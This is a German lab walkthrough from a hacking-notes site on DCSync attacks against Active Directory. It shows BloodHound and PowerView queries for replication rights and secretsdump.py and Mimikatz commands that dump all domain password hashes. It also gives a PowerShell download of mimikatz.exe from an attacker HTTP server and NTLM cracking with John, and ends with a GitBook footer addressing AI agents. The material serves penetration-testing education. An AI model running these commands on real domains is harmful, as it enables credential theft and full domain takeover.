> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# DCSync-Exploitation

#### Prinzip von DCSync

In Active Directory müssen Domänencontroller miteinander synchronisieren, um eine konsistente Datenbank aufrechtzuerhalten.

Wenn beispielsweise an einem Domänencontroller eine Änderung vorgenommen wird, muss diese Änderung auf die anderen Domänencontroller repliziert werden.

Diese Replikation betrifft insbesondere:

* Benutzer;
* Gruppen;
* Passwort-Hashes;
* Active-Directory-Attribute;
* die Objekte der Domäne;
* die Informationen, die für das ordnungsgemäße Funktionieren der Domäne erforderlich sind.

#### 2. Warum DCSync sensibel ist

Eine **DCSync** Angriff oder Technik beinhaltet den Missbrauch von Replikationsrechten in Active Directory.

Normalerweise sollten nur Domänencontroller in der Lage sein, diese sensiblen Informationen abzufragen.

Wenn ein Benutzer oder eine Gruppe jedoch zu weitreichende Replikationsrechte hat, kann es sich wie ein Domänencontroller verhalten und sensible Daten aus AD abfragen.

Zu den wichtigen Rechten gehören:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Diese Rechte können es Ihnen ermöglichen, kritische Informationen aus der Domäne abzurufen.

#### 3. Ziel im Labor

In diesem Labor besteht das Ziel darin, zu identifizieren, welche Benutzer oder Gruppen DCSync-Rechte haben.

Wir werden **BloodHound** um die Konten zu finden, die über diese Berechtigungen verfügen.

#### 4. Konten mit DCSync-Rechten in BloodHound suchen

In BloodHound können Sie die folgende vordefinierte Abfrage verwenden:

```bash
Prinzipale mit DCSync-Rechten finden
```

<figure><img src="/files/c72cae8853b3efd3dac723df4ae2ba35a5aafb4b" alt=""><figcaption></figcaption></figure>

Diese Abfrage identifiziert die Prinzipale — Benutzer, Gruppen oder Computer —, die Replikationsrechte für die Domäne haben.

<figure><img src="/files/57e7fb450a66e71f4f6048c1fb2508994bfdc8fc" alt=""><figcaption></figcaption></figure>

#### 5. Suche mit PowerView

Mit PowerView ist es auch möglich, Konten mit diesen Rechten mithilfe des folgenden Befehls zu identifizieren:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Dieser Befehl zeigt Objekte mit Berechtigungen an, die mit der Active-Directory-Replikation zusammenhängen.

<figure><img src="/files/409656488881924d33ff5ae69878ddc3cbfc76aa" alt=""><figcaption></figcaption></figure>

#### 6. Passwort des Zielkontos ändern

Im Labor ändern wir dann das Passwort des identifizierten Kontos, um es für die Ausnutzung verwenden zu können.

Verwendetes Passwort:

```
Password1@
```

#### 7. Remote-Ausnutzung mit secretsdump

Anschließend können Sie `secretsdump.py` verwenden, um DCSync-Rechte aus der Ferne zu nutzen:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Dadurch ist es möglich, sensible Informationen wiederherzustellen, die dank der Replikationsrechte des Kontos zugänglich sind.

<figure><img src="/files/49bf3c9ba436a0d36b1742c792103996db64a3f7" alt=""><figcaption></figcaption></figure>

#### 8. Mimikatz auf einem Windows-Rechner verwenden

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Wir laden dann Mimikatz als `.zip` Archiv herunter und übertragen dann die ausführbare Datei auf den Windows-Rechner des Labors.

Auf dem angreifenden Rechner starten wir einen HTTP-Server:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Vom Windows-Rechner aus laden wir die ausführbare Datei herunter

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Dann führen wir sie aus:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="/files/b06c5e90c847319ccf07df72c69fc62cd0275283" alt=""><figcaption></figcaption></figure>

#### 9. Abrufen des Administrator-Hashes

Mit Mimikatz können Sie die Replikation der Geheimnisse eines bestimmten Benutzers abfragen, zum Beispiel des Administratorkontos:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="/files/f9ec5172ec7405242f5d44d2aebc50da0b4b8af7" alt=""><figcaption></figcaption></figure>

#### 10. Abrufen der Hashes aller Benutzer

Es ist auch möglich, Informationen für alle Benutzer in der Domäne abzufragen:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="/files/96cda8f777a022a913235d9ead8bfe55d956bd73" alt=""><figcaption></figcaption></figure>

#### 12. Den Hash zum Knacken vorbereiten

Wir legen den wiederhergestellten Hash dann in einer Datei in einem mit John the Ripper kompatiblen Format ab:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Dann beginnen wir mit dem Knacken des NTLM-Hashes:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="/files/9df39ac99dc83031ee18703f945e62b2df259a68" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
